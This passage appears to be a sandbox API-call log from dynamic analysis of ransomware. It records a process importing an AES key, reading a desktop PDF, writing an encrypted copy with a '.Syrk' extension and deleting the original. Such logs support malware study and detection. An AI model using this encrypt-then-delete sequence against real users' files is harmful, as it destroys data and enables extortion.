(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0198.586] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.586] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0198.586] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.587] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0198.587] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0198.587] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.587] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0198.587] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.587] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0198.587] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0198.587] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0198.588] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0198.588] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.588] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0198.588] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.588] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0198.588] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0198.588] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.588] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0198.588] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.588] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0198.588] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0198.588] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.588] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0198.589] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0198.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0198.589] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.589] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0198.589] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.589] EtwEventActivityIdControl () returned 0x0 [0198.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0198.590] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.590] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0198.590] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0198.592] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cd48) returned 1 [0198.595] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x24f71ac*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c694c0) returned 1 [0198.595] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.596] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.596] EtwEventActivityIdControl () returned 0x0 [0198.596] EtwEventActivityIdControl () returned 0x0 [0198.596] EtwEventActivityIdControl () returned 0x0 [0198.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0198.604] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0198.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0198.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0198.605] EtwEventActivityIdControl () returned 0x0 [0198.606] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.606] EtwEventActivityIdControl () returned 0x0 [0198.606] EtwEventActivityIdControl () returned 0x0 [0198.606] EtwEventActivityIdControl () returned 0x0 [0198.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0198.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0198.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0198.609] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0198.610] GetFileType (hFile=0x45c) returned 0x1 [0198.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0198.610] GetFileType (hFile=0x45c) returned 0x1 [0198.610] EtwEventActivityIdControl () returned 0x0 [0198.611] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.611] EtwEventActivityIdControl () returned 0x0 [0198.611] EtwEventActivityIdControl () returned 0x0 [0198.611] EtwEventActivityIdControl () returned 0x0 [0198.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0198.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk", lpFilePart=0x0) returned 0x2c [0198.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0198.612] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0198.614] GetFileType (hFile=0x344) returned 0x1 [0198.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0198.614] GetFileType (hFile=0x344) returned 0x1 [0198.614] EtwEventActivityIdControl () returned 0x0 [0198.614] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x2506ff0 | out: pbBuffer=0x2506ff0) returned 1 [0198.618] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.618] CryptDuplicateKey (in: hKey=0x5c694c0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c69180) returned 1 [0198.618] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.618] CryptSetKeyParam (hKey=0x5c69180, dwParam=0x4, pbData=0x2508460*=0x1, dwFlags=0x0) returned 1 [0198.618] CryptSetKeyParam (hKey=0x5c69180, dwParam=0x1, pbData=0x250842c, dwFlags=0x0) returned 1 [0198.619] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.619] EtwEventActivityIdControl () returned 0x0 [0198.619] EtwEventActivityIdControl () returned 0x0 [0198.619] EtwEventActivityIdControl () returned 0x0 [0198.620] EtwEventActivityIdControl () returned 0x0 [0198.621] ReadFile (in: hFile=0x45c, lpBuffer=0x250b0c8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x250b0c8*, lpNumberOfBytesRead=0x5a2ea0c*=0xb2bc, lpOverlapped=0x0) returned 1 [0198.623] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x251f0e0*, pdwDataLen=0x5a2ea00*=0xb2b0, dwBufLen=0xb2b0 | out: pbData=0x251f0e0*, pdwDataLen=0x5a2ea00*=0xb2b0) returned 1 [0198.623] WriteFile (in: hFile=0x344, lpBuffer=0x2507140*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2507140*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0198.625] WriteFile (in: hFile=0x344, lpBuffer=0x25200cc*, nNumberOfBytesToWrite=0xa2c4, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x25200cc*, lpNumberOfBytesWritten=0x5a2e9e4*=0xa2c4, lpOverlapped=0x0) returned 1 [0198.626] ReadFile (in: hFile=0x45c, lpBuffer=0x250b0c8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x250b0c8*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0198.626] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252a404*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x252a404*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0198.626] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x252a420*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x252a420*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0198.627] WriteFile (in: hFile=0x344, lpBuffer=0x2507140*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x2507140*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0198.627] CloseHandle (hObject=0x344) returned 1 [0199.037] CloseHandle (hObject=0x45c) returned 1 [0199.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.038] EtwEventActivityIdControl () returned 0x0 [0199.038] EtwEventActivityIdControl () returned 0x0 [0199.038] EtwEventActivityIdControl () returned 0x0 [0199.044] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0199.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0199.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0199.047] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0199.047] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0199.047] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0199.047] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0199.047] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0199.047] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0199.048] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0199.048] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0199.048] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0199.048] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0199.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0199.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0199.048] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0199.048] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0199.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0199.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0199.048] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0199.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0199.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0199.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0199.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0199.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0199.052] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0199.052] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0199.052] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0199.053] CoTaskMemAlloc (cb=0x404) returned 0x5c92ac0 [0199.053] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c92ac0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0199.053] CoTaskMemFree (pv=0x5c92ac0) [0199.055] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 0x20 [0199.055] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0199.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf", lpFilePart=0x0) returned 0x27 [0199.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0199.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf"), fInfoLevelId=0x0, lpFileInformation=0x2348cd4 | out: lpFileInformation=0x2348cd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4363b0, ftCreationTime.dwHighDateTime=0x1d991c6, ftLastAccessTime.dwLowDateTime=0xdff0a4e0, ftLastAccessTime.dwHighDateTime=0x1d99778, ftLastWriteTime.dwLowDateTime=0xdff0a4e0, ftLastWriteTime.dwHighDateTime=0x1d99778, nFileSizeHigh=0x0, nFileSizeLow=0xb2bc)) returned 1 [0199.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0199.056] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf")) returned 1 [0199.059] EtwEventActivityIdControl () returned 0x0 [0199.060] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.060] EtwEventActivityIdControl () returned 0x0 [0199.060] EtwEventActivityIdControl () returned 0x0 [0199.060] EtwEventActivityIdControl () returned 0x0 [0199.066] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf.syrk")) returned 0x20 [0199.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf.syrk")) returned 0x20 [0199.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0199.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk", lpFilePart=0x0) returned 0x2c [0199.068] EtwEventActivityIdControl () returned 0x0 [0199.069] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.069] EtwEventActivityIdControl () returned 0x0 [0199.069] EtwEventActivityIdControl () returned 0x0 [0199.069] EtwEventActivityIdControl () returned 0x0 [0199.075] EtwEventActivityIdControl () returned 0x0 [0199.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.076] EtwEventActivityIdControl () returned 0x0 [0199.076] EtwEventActivityIdControl () returned 0x0 [0199.076] EtwEventActivityIdControl () returned 0x0 [0199.079] EtwEventActivityIdControl () returned 0x0 [0199.079] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.080] EtwEventActivityIdControl () returned 0x0 [0199.080] EtwEventActivityIdControl () returned 0x0 [0199.080] EtwEventActivityIdControl () returned 0x0 [0199.524] EtwEventActivityIdControl () returned 0x0 [0199.525] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.525] EtwEventActivityIdControl () returned 0x0 [0199.525] EtwEventActivityIdControl () returned 0x0 [0199.525] EtwEventActivityIdControl () returned 0x0 [0199.529] EtwEventActivityIdControl () returned 0x0 [0199.529] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.530] EtwEventActivityIdControl () returned 0x0 [0199.530] EtwEventActivityIdControl () returned 0x0 [0199.530] EtwEventActivityIdControl () returned 0x0 [0199.533] EtwEventActivityIdControl () returned 0x0 [0199.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0199.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6t r wKg.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\6t r wkg.pdf.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23520ac | out: lpFileInformation=0x23520ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e9fb40, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf2e9fb40, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf2ec5ca0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xb2d4)) returned 1 [0199.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0199.540] GetConsoleOutputCP () returned 0x1b5 [0199.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0199.541] GetConsoleOutputCP () returned 0x1b5 [0199.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0199.541] GetConsoleOutputCP () returned 0x1b5 [0199.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.541] GetConsoleOutputCP () returned 0x1b5 [0199.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.541] GetConsoleOutputCP () returned 0x1b5 [0199.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0199.541] GetConsoleOutputCP () returned 0x1b5 [0199.542] TranslateCharsetInfo (in: lpSrc=0x1b5, 